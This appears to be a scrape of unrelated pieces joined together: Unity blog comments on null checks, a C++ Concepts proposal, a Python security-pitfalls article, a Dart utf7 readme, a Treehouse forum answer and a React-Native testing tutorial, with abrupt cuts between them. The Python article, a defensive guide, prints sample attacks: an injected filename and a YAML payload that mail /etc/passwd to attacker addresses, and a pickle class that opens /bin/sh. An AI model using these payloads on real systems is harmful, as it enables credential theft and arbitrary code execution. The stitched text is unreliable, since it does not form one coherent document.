And have that return false, when the object is in fact destroyed. What good is the C# wrapper object to me if there’s no C++ object backing it? This change would effectively say, in that case, “That object isn’t null, you still have it, it just doesn’t *really* exist.” And that seems more confusing and counterintuitive than the current behavior, TBH.
Laurens Mathot5月 16, 2014 5:30 pm
@NEVERMIND: The older versions of Unity would still use the old behavior, and they’re all available from the Unity site. So this would only apply to old projects that would want to upgrade to make use of new Unity features. In which case, you would probably need to do some upgrade work anyway.
@Richard Fine: I never really used !SomeVariable in Unity, because it didn’t work as expected. Only SomeVariable != null.
Laurens Mathot5月 16, 2014 5:25 pm
I actually recently came across this behavior when writing code that needed to survive serialization, and was very confused, until Tenebrous pointed out that equals was overloaded.
()
I would vote for taking it out, or at least mentioning it in the documentation. Or both.
About #1, wouldn’t it be possible for Component to catch the NullReferenceException, add information about its GameObject to the exception, and re-throw it?
Richard Fine5月 16, 2014 5:09 pm
I guess the question is: how often do people do
if(myObj == null)
versus
if(!myObj)
?
I reckon the latter is used much more widely than the former. If you keep the conversion-to-bool around, and update it to do “obj != null && !obj.destroyed”, then I think you’d be able to drop the custom == and still allow most code to work unchanged.
Alex B5月 16, 2014 5:08 pm
” but you would have no idea which GameObject had the MonoBehaviour that had the field that was null”
This would be a nightmare honestly, whatever slight gain might be made by getting rid of the custom == would be overrun by the extra time spent debugging. These sorts of custom, ‘friendlier’ implementations are one of the things that helps define Unity as a rapid, agile, user-friendly development platform in my opinion.
Nevermind5月 16, 2014 5:06 pm
I think this is the case where backward compatibility is more important. As much as I’d like to see the “normal” null-checks, changing this now will not only break old projects, but also force breaking of old habits. And thousands of tutorials out there, etc.
Maybe if you could implement a project-level switch, like “this project uses old-style comparisons”, that could work… but then again, it’s probably lots of work for questionable benefit.
I think you should leave the operator as it is now. Do add this information to the docs, though!
Daniel5月 16, 2014 5:01 pm
Drop the custom operator (except for the editor-specific functionality), create a single property or function instead to replace all the functionality it provided (like myObj.isValid). Or even better: switch to C++ instead of C# :) Also it would be nice if AOT compilation was an option on Android. | https://blogs.unity3d.com/jp/2014/05/16/custom-operator-should-we-keep-it/ | CC-MAIN-2019-39 | en | refinedweb |
One Concept Definition Syntax
Summary
Introduction
Discussion
An issue or a non-issue?
Overload or not?
A wording issue or a vocabulary issue?
Approaches Considered
Acknowledgements
References
Appendix: Sample Wordings
Alternative I
14.5.8 Concepts
Alternative II
We propose to replace the function-style concept and the variable-style concept in the current Concepts TS[1] with one form,
template <typename T, typename U>
concept SwappableWith = Swappable<T> && … ;
without allowing the concepts to be overloaded.
Concepts TS specifies two forms of concept definitions:
Function concept:
template <typename T>
concept bool FC() {
return constraint-expression;
}
Variable concept:
template <typename T>
concept bool VC = constraint-expression;
To an end-user of the concepts, in some circumstances, these two forms unavoidably bring out different interfaces:
template <typename T>
requires FC<T>() && VC<T>
void f();
This mandates a strong coupling among libraries, users, and library specifications[13]:
Due to these usability and maintenance concerns, Ranges TS[2] switched to using only function concept. As the concerns become real, we look for a solution in this paper.
One can argue that the problem we faced is a non-issue, since the same issue happens to, for example, data member v.s. member function. The users need to know in which form the accessor is defined in advance to use it, and we cannot “upgrade” a variable to a function without breaking source compatibility – a true story is that we cannot make std::pair benefit from EBO since it requires the member functions first() and second().
We can keep elaborating this argument. However, such an argument is based on the following premise: function and variable are the right abstractions to model a Concept. Let’s recall the definition of Concepts in “The Palo Alto” report[3]:
Concepts are a kind of type predicate that determine whether their type (or non-type) arguments satisfy a set of requirements.
A type predicate is a type function to return “true” or “false”, where the type function is defined as:
[…] a compile-time function where at least one argument or the result is a type.
So a Concept is a type function. We compare the abstractions, namely function concept and variable concept, against this quiddity. Is a variable concept a type function? Yes, as it forms a mapping from types to true or false. But the word “variable” in its name is not contributing to the fact that it is a function under the definition of a type function. Similarly, in a function concept, the function arguments are not being used to fulfill the role of a type function. Thus, a function concept is a Concept not because it is a C++ function, and a variable concept is a Concept while being a C++ variable does not affect its essence of being a type function. Therefore, the notions of function concept and variable concept are unrelated to the quiddity of Concepts.
But why this distinction exists? We look back into the history of writing type functions in C++. At the beginning, class templates are being used to represent type functions, where are called type traits. In C++14, alias templates are being used to simplify the transformation traits[4], and in the coming C++17, variable templates are being used to simplify the predicate traits[5]. That is to say, all kinds of C++ templates – class templates, function templates, variable templates, and alias templates, may represent a type function. As a matter of fact, the author of the concepts-lite proposal experimented the idea to allow class templates and alias templates being used as Concepts[6], and chose function templates and variable templates mostly for technical reasons[1].
In other words, the notions of function concept and variable concept are acceptable representations rather than right abstractions.
Keep refering to a concept by its representation rather than its meaning creates confusions, causes issues in practice, and does harm to the acceptance of the concept. We therefore propose to define Concepts using a dedicated form.
The current function-style concept can supersede the variable-style concept since only the former allows overloading the concept definitions, so it is a safe move for the existing libraries (Ranges TS and the text_view library[7], for instance) only use the function-style concepts. We like the basic syntax of the variable-style concept and considered adding overloading support to it, and it turns out that we had some misconceptions about this feature:
template<typename T> concept bool C() { return true; }
template<int N> concept bool C() { return true; }
template<C c> void f(); // ill-formed
// a type U such that EqualityComparable<T, U>
template <EqualityComparable<T> U>
// a bool indicating whether T is equality comparable with itself
template <typename T> requires EqualityComparable<T>
For the last one, we suggest to rename the binary concepts EqualityComparable to EqualityComparableWith, and Swappable to SwappableWith in Ranges TS. This naming convention follows the new C++17 traits is_swappable and is_swappable_with[8]. Similarly, overloading a function-style concept with a non-concept function or function template can use naming conventions to disambiguate, such as capitalizing the concept but not the others, or use different namespaces.
In summary, the only significant part of this feature is overloading on arities, which is not necessary, and sometimes beneficial if not being used. Therefore we propose not to make the concept definitions overloadable.
Notably, without overloadable concept definitions, the new section “Resolution of qualified references to concepts” (14.10.4 [temp.constr.resolve]) will be unnecessary, as we can fully rely on the existing name lookup rules.
Multiple parties raised this issue[9][10], and came up with the same design, but it is the first time we try to formalize such a design. The syntax of this design
template <typename T>
concept ConceptName = SomeConcept<T> && expr;
is suitable for defining concept as a new kind of entity rather than a variable template declared by a concept keyword, and we do hear people, including some implementers, expressed the desire to make concept a first-class entity in the language. Notably, while we keep talking about “Concepts”, the Concepts TS is not adding a section titled “Concepts” to the standard. We totally understand that the core semantics of this feature are template constraints as described in the section of the same name, but one can argue that it would be beneficial in terms of education and communication if we can refer to the standard for the vocabulary “concept”, without being warned that:
This paper is not proposing a particular way to specify the concept definition in the TS. Instead, we present all the approaches that we have considered in the section below.
So that we only need to drop the function-style concept. The problem is that, given the existing grammar, it is not possible to make the type-specifier bool came after the concept keyword optional or removed.
So that the bool may be optional or removed. This approach meets our expected “reasonable” usage from an end-user’s point of view with minimal changes to the existing TS. However, some of the users deem this approach “an implementation technique put into the standard”.
The sample wording “Alternative II” partially illustrated this approach.
template-declaration:
template < template-parameter-list > requires-clauseopt declaration
concept-definition
concept-definition:
template < template-parameter-list > concept concept-name = constraint-expression ;
So that it is grammatically not possible to form a concept definition outside templates, and we can define concepts as separate entities. But many template mechanisms are defined in terms of the declaration sub-production, which requires extra efforts to make this approach work.
By saying that a concept in the form of
template < template-parameter-list >
concept concept-name = constraint-expression ;
implicitly defines a variable template in the form of
template < template-parameter-list >
constexpr bool concept-name = constraint-expression ;
we can forward the rules for the concept definition such as linkage and name lookup to this variable template. But this still looks like “an implementation technique in the standard”, and since it is not a pure syntactic translation like the “range-based for” case, the specification is not easy enough to understand as expected.
This approach has been obsoleted.
block-declaration:
…
alias-declaration
concept-declaration
concept-declaration:
concept identifier = constraint-expression ;
The idea comes from alias templates, with a difference such that an alias-declaration outside a template is valid but a concept declaration outside a template has to be forbidden. Since the grammar of templates is untouched, the template mechanisms defined in terms of the declaration sub-production work out-of-box, and the kind-specific (function, class, alias, etc.) template mechanisms such as instantiations, explicit and partial specializations do not apply, which match perfectly with what we need for a concept definition.
The sample wording “Alternative I” illustrated this approach.
This is the ultimate thing we may be able to do in the standard, defining concept as a “true” first-class entity. The concept definition will be a new kind of declaration in [basic]; concept-name will be a new kind of name, so that the name lookup rules need to be updated; and linkage of a concept needs to be specified since concept is not template. This clause also needs to specify or repeat the necessary template-like mechanisms.
However, the most significant changes brought by the Concepts TS are in 14.10 [temp.constr], so a Concepts clause may not bring much new information, thus it may not worth that much significance in the standard document.
Thanks to Richard Smith, Tom Honermann, and Andrew Sutton for joining the discussion to form this paper.
For editorial convenience, the sample wordings are not equal. Common instructions go into “Alternative I” and are not repeated in “Alternative II”. The author can create a wording based on either one.
Issues fixed: concepts-ts 6, 7, 8, 15, 16, 22, 29 (N4434 cleared).
Issues closed: concepts-ts 19, 20, 25, 26, 27.
This wording is relative to N4553, Working Draft, C++ extensions for Concepts.
Revert the following instruction applied to chapter 7.1 [dcl.spec]:
Extend the decl-specifier production in paragraph 1 to include the concept specifier.
Revert the new section 7.1.7 [dcl.spec.concept].
Add the following instruction:
Extend the block-declaration production to include a concept-declaration:
block-declaration:
simple-declaration
asm-definition
namespace-alias-definition
using-declaration
using-directive
static_assert-declaration
alias-declaration
concept-declaration
opaque-enum-declaration
nodeclspec-function-declaration:
attribute-specifier-seqopt declarator ;
alias-declaration:
using identifier attribute-specifier-seqopt = type-id ;
concept-declaration:
concept identifier = constraint-expression ;
Modify the instruction applying to Clause 14 [temp] as follows:
Modify the template-declaration grammar in paragraph 1 as follows to allow a template declaration introduced by a concept.
A template defines a family of classes or functions, or an alias for a family of types, or a concept.
template-declaration:
template < template-parameter-list > requires-clauseopt declaration
template-introduction declaration
requires-clause:
requires constraint-expression an alias-declaration or a concept-declaration.
A template-declaration is a declaration. A template-declaration is also a definition if its declaration is a concept-declaration, in which case the template-declaration is referred to as concept definition, or defines a function, a class, a variable, or a static data member. A declaration introduced by a template declaration of a variable is a variable template. A variable template at class scope is a static data member template. [ Example: … —end example ]
New instructions:
Add a new section 14.5.8 [temp.concept]:
A concept definition declares the identifier to be a concept. A concept defines a set of constraints (14.10). The name of the concept is a template-name.
A concept-declaration may appear only as the declaration of a template-declaration in namespace scope. [ Example:
template<typename T>
concept C1 = true; // OK: declares a concept
concept C2 = true; // error: not a concept definition
struct S {
template<typename T>
concept C = true; // error: concept declared in class scope
};
—end example ]
A concept definition shall not have associated constraints (14.10.2).
The constraint-expression (14.10.2) of a concept shall not include a reference to the concept being declared. [ Example:
template<typename T>
concept C = C<T*>; // error
—end example ]
The constraint-expression of a concept shall be a core constant expression of type bool.
In a potentially-evaluated expression, when a template-id refers to a specialization of a concept, it is equivalent to a prvalue of the substituted constraint-expression of the concept. [ Note: The concept definitions cannot be instantiated, but may be normalized (14.10.2). —end note ]
The first declared template parameter of a concept definition is its prototype parameter. A variadic concept is a concept whose prototype parameter is a template parameter pack.
Add a new paragraph at the end of section 14.5 [temp.decls]:
Because an alias-declaration cannot declare a template-id, it is not possible to partially or explicitly specialize an alias template.
It is also not possible to partially or explicitly specialize a concept as a concept-declaration cannot declare a template-id or a partial-concept-id. [ Note: This prevents users from subverting the constraint system by providing a meaning for a concept that differs from its original definition. —end note ]
For the following instruction applying to chapter 14.1 [temp.param],
Insert the following paragraphs after paragraph 8. These paragraphs define the meaning of a constrained template parameter.
modify paragraph 9 as follows:
A constrained-parameter declares a template parameter whose kind (type, non-type, template) and type match that of the prototype parameter of the concept referred to designated by the qualified-concept-name (7.1.6.4.2) in the constrained-parameter. The designated concept is selected by the rules for concept resolution described in 14.10.4. Let X be the prototype parameter of the designated concept. The declared template parameter is determined by the kind of X (type, non-type, template) and the optional ellipsis in the constrained-parameter as follows.
…
modify the new bullets (10.3) and (10.4) as follows:
— Then, fForm an expression E as follows. If C is a variable concept (7.1.7), then E is to be the id-expression TT. Otherwise, C is a function concept and E is the function call TT().
— Finally, iIf P declares a template parameter pack and C is not a variadic concept, E is adjusted to be the fold-expression (E && ...) (5.1.3).
as well as the example:
[ Example:
template<typename T> concept bool C1 = true;
template<typename... Ts> concept bool C2() { return true; }
template<typename T, typename U> concept bool C23 = true;
template<C1 T> struct s1; // associates C1<T>
template<C1... T> struct s2; // associates (C1<T> && ...)
template<C2... T> struct s3; // associates C2<T...>()
template<C23<int> T> struct s34; // associates C23<T, int>
—end example ]
In the instruction to add the chapter 14.2 [temp.intro], modify paragraph 2 as follows:
The concept designated by the qualified-concept-name is selected by the concept resolution rules described in 14.10.4. Let C be the designated concept referred to by the qualified-concept-name. The template parameters declared by a template-introduction are derived from its introduced-parameters and the template parameter declarations of C to which those introduced-parameters are matched as wildcards according to the rules in 14.10.4. For each introduced-parameter I, declare a template parameter using the following rules:
…
and modify the bullet (5.2) as follows:
— Then, form an expression E as follows. If C designates a variable concept (7.1.7), then E is to be the id-expression C<A1, ..., AN>. Otherwise, C designates a function concept and E is the function call C<A1, ..., AN>().
as well as the example:
[ Example:
template<typename T, typename U> concept bool C1 = true;
template<typename T, typename U> concept bool C2() { return true; }
template<typename... Ts> concept bool C23 = true;
C1{A, B} struct s1; // associates C1<A, B>
C2{A, B} struct s2; // associates C2<A, B>()
C23{...Ts} struct s23; // associates C23<Ts...>
C23{X, ...Y} struct s34; // associates C23<X, Y...>
—end example ]
In the instruction to add the chapter 14.10 [temp.constr], in 14.10.2 [temp.constr.decl], modify the bullets (3.1) and (3.2) as follows:
— replace all function calls of the form C<A1, A2, ..., AN>(), where C refers to the function concept D (7.1.7) selected by the rules for concept resolution (14.10.4), with the result of substituting A1, A2, ..., AN into the expression returned by D, and
— replace all id-expressions of the form C<A1, A2, ..., AN>, where C refers to a is the variable concept D (14.5.87.1.7) selected by the rules for concept resolution (14.10.4), with the result of substituting A1, A2, ..., AN into the constraint-expression initializer of D.
Revert the new section 14.10.4 [temp.constr.resolve].
In the instruction to add the section 7.1.6.4.2 [dcl.spec.auto.constr], modify paragraph 2 as follows:
An identifier is a concept-name if it refers to a set of concept definitions (14.5.87.1.7). [ Note: … —end note ] [ Example: … —end example ]
and modify paragraph 4 as follows:
The concept designated by a constrained-type-specifier is the one selected according to the rules for concept resolution in 14.10.4.
Apply the syntax changes to all the examples in the document. Sample edits:
… 5.1.4 paragraph 5… [ Example:
template<typename T>
concept C1 =bool C1() {
requires(T t, ...) { t; }; // error: terminates with an ellipsis
}
template<typename T>
concept C2 =bool C2() {
requires(T t, void (*p)(T*, ...)) // OK: the parameter-declaration-clause of
{ p(t); }; // the requires-expression does not terminate
} // with an ellipsis
—end example ]
… 5.1.4 paragraph 7… [ Example:
template<typename T> concept bool C =
requires {
new int[-(int)sizeof(T)]; // ill-formed, no diagnostic required
};
—end example ]
Update all the references to 7.1.7 to reference 14.5.8.
Issues fixed: concepts-ts 7, 8, 22.
Issues closed: concepts-ts 19, 20, 25, 26, 27.
Revert the following instruction applied to chapter 7.1 [dcl.spec]:
Extend the decl-specifier production in paragraph 1 to include the concept specifier.
Modify the instruction applying to section 7.1.6.2 [dcl.type.simple] as follows:
Add constrained-type-specifier and the concept specifier to the grammar for simple-type-specifiers.
…
void
auto
concept
decltype-specifier
constrained-type-specifier
Modify the instruction adding a new section 7.1.7 [dcl.spec.concept] as follows:
The concept type-specifier specifier shall be applied only to the definition of a function template or variable template, declared in namespace scope (3.3.6). A function template definition having the concept specifier is called a function concept. A function concept shall have no exception-specification and is treated as if it were specified with noexcept(true) (15.4). When a function is declared to be a concept, it shall be the only declaration of that function. A variable template definition having the concept type-specifier specifier is called a variable concept. A concept definition refers to either a function concept and its definition or a variable concept and its initializer. [ Example:
template<typename T>
concept bool F1() { return true; } // OK: declares a function concept
template<typename T>
concept bool F2(); // error: function concept is not a definition
template<typename T>
constexpr bool F3();
template<typename T>
concept bool F3() { return true; } // error: redeclaration of a function as a concept
template<typename T>
concept Cbool V1 = true; // OK: declares a variable concept
template<typename T>
concept Cbool V2; // error: variable concept with no initializer
struct S {
template<typename T>
static concept bool C = true; // error: concept declared in class scope
};
—end example ]
Every concept definition is implicitly defined to be a constexpr declaration (7.1.5) of type bool. A concept definition shall not be declared with any other the thread_local, inline, friend, or constexpr specifiers, nor shall a concept definition have associated constraints (14.10.2).
The definition of a function concept or the initializer of a variable concept shall not include a reference to the concept being declared. [ Example:
template<typename T>
concept bool F() { return F<typename T::type>(); } // error
template<typename T>
concept Cbool V = CV<T*>; // error
—end example ]
The first declared template parameter of a concept definition is its prototype parameter. A variadic concept is a concept whose prototype parameter is a template parameter pack.
A function concept has the following restrictions:
— No function-specifiers shall appear in its declaration (7.1.2).
— The declared return type shall have the type bool.
— The declaration’s parameter list shall be equivalent to an empty parameter list.
— The declaration shall have a function-body equivalent to { return E; } where E is a constraint-expression (14.10.1.3).
[ Note: Return type deduction requires the instantiation of the function definition, but concept definitions are not instantiated; they are normalized (14.10.2). —end note ] [ Example:
template<typename T>
concept int F1() { return 0; } // error: return type is not bool
template<typename T>
concept auto F2() { return true; } // error: return type is deduced
template<typename T>
concept bool F3(T) { return true; } // error: not an empty parameter list
—end example ]
A variable concept has the following restrictions:
— The declared type shall have the type bool.
— The declaration shall have an initializer.
— The initializer of a concept shall be a constraint-expression (14.10.2) followed by = (equal).
[ Example:
template<typename T>
concept Cbool V1 = 3 + 4; // error: initializer is not a constraint-expression
concept Cbool V2 = 0; // error: not a template
template<typename T> concept bool C = true;
template<C T>
concept Cbool V3 = true; // error: constrained template declared as a concept
—end example ]
The first declared template parameter of a concept definition is its prototype parameter. A variadic concept is a concept whose prototype parameter is a template parameter pack.
A program shall not declare an explicit instantiation (14.8.2), an explicit specialization (14.8.3), or a partial specialization of a concept definition. [ Note: This prevents users from subverting the constraint system by providing a meaning for a concept that differs from its original definition. —end note ]
[1] In addition to the cited material, I will add that, inline functions and variables with initializers are easier for normalization (into conjunctions and disjunctions).
[2] Naturally curried languages exist, but I don’t know of a precedence allowing overloading and currying to work together.
[3] The sample wording “Alternative I” does emphasise these in a different place, but they are already grammatically not possible. | http://www.open-std.org/Jtc1/sc22/wg21/docs/papers/2016/p0324r0.html | CC-MAIN-2019-39 | en | refinedweb |
Writing secure code is hard. When you learn a language, a module or a framework, you learn how it supposed to be used. When thinking about security, you need to think about how it can be misused. Python is no exception, even within the standard library there are documented bad practices for writing hardened applications. Yet, when I’ve spoken to many Python developers they simply aren’t aware of them.
Here are my top 10, in no particular order, common gotchas in Python applications.
1. Input injection
Injection attacks are broad and really common and there are many types of injection. They impact all languages, frameworks and environments.
SQL injection is where you’re writing SQL queries directly instead of using an ORM and mixing your string literals with variables. I’ve read plenty of code where “escaping quotes” is deemed a fix. It isn’t. Familiarise yourself with all the complex ways SQL injection can happen with this cheatsheet.
Command injection is anytime you’re calling a process using popen, subprocess, os.system and taking arguments from variables. When calling local commands there’s a possibility of someone setting those values to something malicious.
Imagine this simple script [credit]. You call a subprocess with the filename as provided by the user:
import subprocess
def transcode_file(request, filename):
command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
subprocess.call(command, shell=True) # a bad idea!
The attacker sets the value of filename to
"; cat /etc/passwd | mail them@domain.com or something equally dangerous.
Fix:
Sanitise input using the utilities that come with your web framework, if you’re using one. Unless you have a good reason, don’t construct SQL queries by hand. Most ORMs have builtin sanitization methods.
For the shell, use the
shlex module to escape input correctly.
2. Parsing XML
If your application ever loads and parses XML files, the odds are you are using one of the XML standard library modules. There are a few common attacks through XML. Mostly DoS-style (designed to crash systems instead of exfiltration of data). Those attacks are common, especially if you’re parsing external (ie non-trusted) XML files.
One of those is called “billion laughs”, because of the payload normally containing a lot (billions) of “lols”. Basically, the idea is that you can do referential entities in XML, so when your unassuming XML parser tries to load this XML file into memory it consumes gigabytes of RAM. Try it out if you don’t believe me :-)
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Another attack uses external entity expansion. XML supports referencing entities from external URLs, the XML parser would typically fetch and load that resource without any qualms. “An attacker can circumvent firewalls and gain access to restricted resources as all the requests are made from an internal and trustworthy IP address, not from the outside.”
Another situation to consider is 3rd party packages you’re depending on that decode XML, like configuration files, remote APIs. You might not even be aware that one of your dependencies leaves itself open to these types of attacks.
So what happens in Python? Well, the standard library modules, etree, DOM, xmlrpc are all wide open to these types of attacks. It’s well documented
Fix:
Use defusedxml as a drop-in replacement for the standard library modules. It adds safe-guards against these types of attacks.
3. Assert statements
Don’t use assert statements to guard against pieces of code that a user shouldn’t access. Take this simple example
def foo(request, user):
assert user.is_admin, “user does not have access”
# secure code...
Now, by default Python executes with
__debug__ as true, but in a production environment it’s common to run with optimizations. This will skip the assert statement and go straight to the secure code regardless of whether the user
is_admin or not.
Fix:
Only use assert statements to communicate with other developers, such as in unit tests or in to guard against incorrect API usage.
4. Timing attacks
Timing attacks are essentially a way of exposing the behaviour and algorithm by timing how long it takes to compare provided values. Timing attacks require precision, so they don’t typically work over a high-latency remote network. Because of the variable latency involved in most web-applications, it’s pretty much impossible to write a timing attack over HTTP web servers.
But, if you have a command-line application that prompts for the password, an attacker can write a simple script to time how long it takes to compare their value with the actual secret. Example.
There are some impressive examples such as this SSH-based timing attack written in Python if you want to see how they work.
Fix:
Use
secrets.compare_digest , introduced in Python 3.5 to compare passwords and other private values.
5. A polluted site-packages or import path
Python’s import system is very flexible. Which is great when you’re trying to write monkey-patches for your tests, or overload core functionality.
But, it’s one of the biggest security holes in Python.
Installing 3rd party packages into your site-packages, whether in a virtual environment or the global site-packages (which is generally discouraged) exposes you to security holes in those packages.
There have been occurrences of packages being published to PyPi with similar names to popular packages, but instead executing arbitrary code. The biggest incidence, luckily wasn’t harmful and just “made a point” that the problem is not really being addressed..
Another situation to think about is the dependencies of your dependencies (and so forth). They could include vulnerabilities and they could also override default behaviour in Python via the import system.
Fix:
Vet your packages. Look at PyUp.io and their security service. Use virtual environments for all applications and ensure your global site-packages is as clean as possible. Check package signatures.
6. Temporary files
To create temporary files in Python, you’d typically generate a file name using
mktemp() function and then create a file using this name. “This is not secure, because a different process may create a file with this name in the time between the call to
mktemp() and the subsequent attempt to create the file by the first process.” [1] This means it could trick your application into either loading the wrong data or exposing other temporary data.
Recent versions of Python will raise a runtime warning if you call the incorrect method.
Fix:
Use the
tempfile module and use
mkstemp if you need to generate temporary files.
7. Using yaml.load
To quote the PyYAML documentation:
“Warning: It is not safe to call
yaml.loadwith any data received from an untrusted source!
yaml.loadis as powerful as
pickle.loadand so may call any Python function.”
This beautiful example found in the popular Python project Ansible. You could provide Ansible Vault with this value as the (valid) YAML. It calls
os.system() with the arguments provided in the file.
!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]
So, effectively loading YAML files from user-provided values leaves you wide-open to attack.
Fix:
Use
yaml.safe_load, pretty much always unless you have a really good reason.
8. Pickles
Deserializing pickle data is just as bad as YAML. Python classes can declare a magic-method called
__reduce__ which returns a string, or a tuple with a callable and the arguments to call when pickling. The attacker can use that to include references to one of the subprocess modules to run arbitrary commands on the host.
This wonderful example shows how to pickle a class that opens a shell in Python 2. There are plenty more examples of how to exploit pickle.
import cPickle
import subprocess
import base64
class RunBinSh(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/sh',),))
print base64.b64encode(cPickle.dumps(RunBinSh()))
Fix:
Never unpickle data from an untrusted or unauthenticated source. Use another serialization pattern instead, like JSON.
9. Using the system Python runtime and not patching it
Most POSIX systems come with a version of Python 2. Typically an old one.
Since “Python”, ie CPython is written in C, there are times when the Python interpreter itself has holes. Common security issues in C are related to the allocation of memory, so buffer overflow errors.
CPython has had a number of overrun or overflow vulnerabilities over the years, each of which have been patched and fixed in subsequent releases.
So you’re safe. That is, if you patch your runtime.
Here’s an example from 2.7.13 and below, an integer overflow vulnerability that enables code execution. That’s pretty much any un-patched version of Ubuntu pre-17.
Fix:
Install the latest version of Python for your production applications, and patch it!
10. Not patching your dependencies
Similar to not patching your runtime, you also need to patch your dependencies regularly.
I find the practice of “pinning” versions of Python packages from PyPi in packages terrifying. The idea is that “these are the versions that work” so everyone leaves it alone.
All of the vulnerabilities in code I’ve mentioned above are just as important when they exist in packages that your application uses. Developers of those packages fix security issues. All the time.
Fix:
Use a service like PyUp.io to check for updates, raise pull/merge requests to your application and run your tests to keep the packages up to date.
Use a tool like InSpec to validate the installed versions on production environments and ensure minimal versions or version ranges are patched.
Have you tried Bandit?
There’s a great static linter that will catch all of these issues in your code, and more!
It’s called bandit, just
pip install bandit and
bandit ./codedir
bandit - Bandit is a tool designed to find common security issues in Python code.github.com
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Provides methods to encode/decode utf-7 strings or adapt the modified base64 for custom methods.
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import 'package:utf7/utf7.dart'; main() { String string = "Tèxt cöntäînîng ûtf-8 chäräctérs"; String encoded = Utf7.encode(string); String strongEncoded = Utf7.encodeAll(string); print("UTF-7 representation: $encoded"); print("UTF-7 representation: $strongEncoded"); String decoded = Utf7.decode(encoded); print("UTF-16 representation: $decoded"); }
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Idris AbdulwahabPro Student 2,902 Points
hands.py
Please note that this is a follow up question. I made the argument for D20 generic in class Hand. And then I included it as an argument in the classmethod instance in roll. But i'm still not getting through. Please help to look it up. Regards. __init__(self, size = 0, new_roll = None, *args, **kwargs): super().__init__() for _ in range(size): self.append(new_roll()) @classmethod def roll(cls, size): return cls(Hand(size, D20)) @property def total(self): return sum(self)
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Schaffer Robichaux21,723 Points
Hey Idris,
I was able to catch up on what Steven Parker was describing to your earlier and I hope I can provide some help- but definitely not at the level Steven can.
I'll start with the mistakes I made that I recognize in your latest example as well - step by step:
class Hand(list): def __init__(self, size = 0, new_roll = None, *args, **kwargs): # 1. Why initialize more attributes here? super().__init__() # 2. If we are not overriding the init above , we don't need to call super(). to get list's methods for _ in range(size): # with 1. and 2. removed above, this logic is best suited inside a @classmethod self.append(new_roll())
@classmethod #3. This is required to make the method callable from 'Hand' def roll(cls, size): #4 What are the necessary arguments? return cls(Hand(size, D20))
- 1. As was previously pointed out, you don't need to override the init method. I initially did that as well and found that it can easily create conflicting attributes with ancestors further up the chain.
- 2. If you are not overriding the initialization, there is no need to call .super() in order to get the methods available in the list class
- 3. call the @classmethod
- As we did not override the init with additional parameters, we need to provide all the necessary arguments here. You are correct in providing cls, size but we can also provide an argument that holds our D20 class, cls, size=2, dice_type=D20
So at this point we have:
from dice import D20 class Hand(list): @classmethod def roll(cls, size=2, dice_type=D20): #declare a variable that holds an empty list #loop through the range of your size argument #append you dice_type() object to the list #return your variable with the newly appended list
I am sure there are more eloquent way of solving the problem; however, this is the route that made the most sense to me. Hope this help and please comment again if you continue to run into trouble
Cheers | https://teamtreehouse.com/community/handspy-5 | CC-MAIN-2019-39 | en | refinedweb |
React-Native Testing with Expo, Unit Testing with Jest | @RisingStack linting and we'll learn how to use Jest for React-Native unit testing.
To showcase how you can do these things, we'll use our Mobile Game which we've been building in the previous 5 episodes of this React-Native series.
Quick recap: In the previous episodes of our React-Native Tutorial Series, we built our React-Native game’s core logic, made our game enjoyable with music, sound effects and animations, and even added an option to save our results.
You can check the Github repo of the app here:
In the tutorial we'll be going over the following agenda:
Testing your React-Native App with Expo
Testing Expo apps on a real device
To test your app on a real device while development, you can use the Expo app. First, download it - it’s available both on Google Play and the App Store.
Once you’re finished, run
expo start in the project directory, ensure that the development machine and the mobile device are on the same network, and scan the QR code with your device. (Pro tip: on iOS, you can scan QR codes with the Camera app).
Testing Expo apps on an iOS simulator
If you don’t have a Mac, you can skip this section as you cannot simolate iOS without a Mac..
First, install Xcode and start the Simulators app. Then, kick-off by starting multiple simulators with the following screen sizes:
- iPhone SE (4.0”, 1136x640)
- iPhone 8 (4.7”, 1334x750)
- iPhone 8 Plus (5.5”, 1920x1080)
- iPhone Xs (5.8”, 2436x1125)
(If you are experiencing performance issues, you can test your app in smaller screen size batches, for example, first, you run SE and 8, then when you’re finished, you run the app on 8 Plus and Xs, too).
You can launch the devices needed from the top bar, then launch Expo from the Expo Developer Tools.
You can install the Expo Client on every simulator by repeating the following steps:
- Closing every simulator you are running
- Open one simulator that currently does not have the Expo Client installed on it
iin the Expo packager terminal - it will search for an iOS simulator and install Expo Client on it.
- Wait for it to install, then close the simulator if you don’t need it anymore
Repeat these steps until you have Expo Client on every simulator installed. Then, you can open the ColorBlinder app itself on every device by typing in the Expo URL of your app into Safari. The Expo URL will look something like
exp://192.168.0.129:19000 - you can see yours in the Expo Developer Tools inside the browser, above the QR code.
Testing Expo apps on an Android emulator
If you don’t have an Android device at hand or want to test on a different device type, you’ll need an emulator. If you don’t already have an Android emulator running on your development machine, follow the steps described in the Expo docs to set up the Android Studio, SDK and the emulator.
Please note that even though the Expo docs don’t point this out, to make the
adb command work on a Windows device, you’ll need to add the Android SDK
build-tools directory to the PATH variable of your user variables. If you don’t know edit the PATH envvar, follow this tutorial. You can confirm that the variable is set up either by running
echo %PATH% and checking if the directory is in the string, or running the
adb command itself.
Once you have an Android emulator running on your machine, run
expo start in the root directory of the project, open the Expo DevTools in your browser and click the “Run on Android device/emulator“ button above the QR code. If everything is set up properly, the Expo app will install on the device and it will load our app.
Making the Sizing a Bit More Responsive
As you could see, the app currently breaks on some screen sizes and does not scale well at all. Lucky for us, React-Native provides us a bunch of tools to make an app look great on every device, like
- SafeAreaView to respect iPhone X’s notch and bottom bar,
- the PixelRatio API that can be used to detect a device’s pixel density,
- or the already used Dimensions API that we used to detect the width and height of the screen.
We could also use percentages instead of pixels - however,
ems and other CSS sizing units are not yet available in React-Native.
Optimizing the screens
The home screen before optimization
The game screen before optimization
You can see that the texts are using the same size on every device - we should change that. Also, the spacing is odd because we added the spacing to the bottom bars without using the SafeAreaView - thus we added some unneeded spacing to the non-notched devices, too. The grid size also looks odd on the screenshot, but you should not experience anything like this.
First, let’s use the SafeAreaView to fix the spacing on notched and non-notched devices. Import it from “react-native” both in the
Home/index.js and
Game/index.js, then for the top container, change
<View> to
<SafeAreaView>. Then in the Home.js, add a
<View style={{ flex: 1 }}> before the first and after the last child of the component tree. We can now delete the absolute positioning from the
bottomContainer’s stylesheet:
bottomContainer: { marginBottom: "5%", marginHorizontal: "5%", flexDirection: "row" },
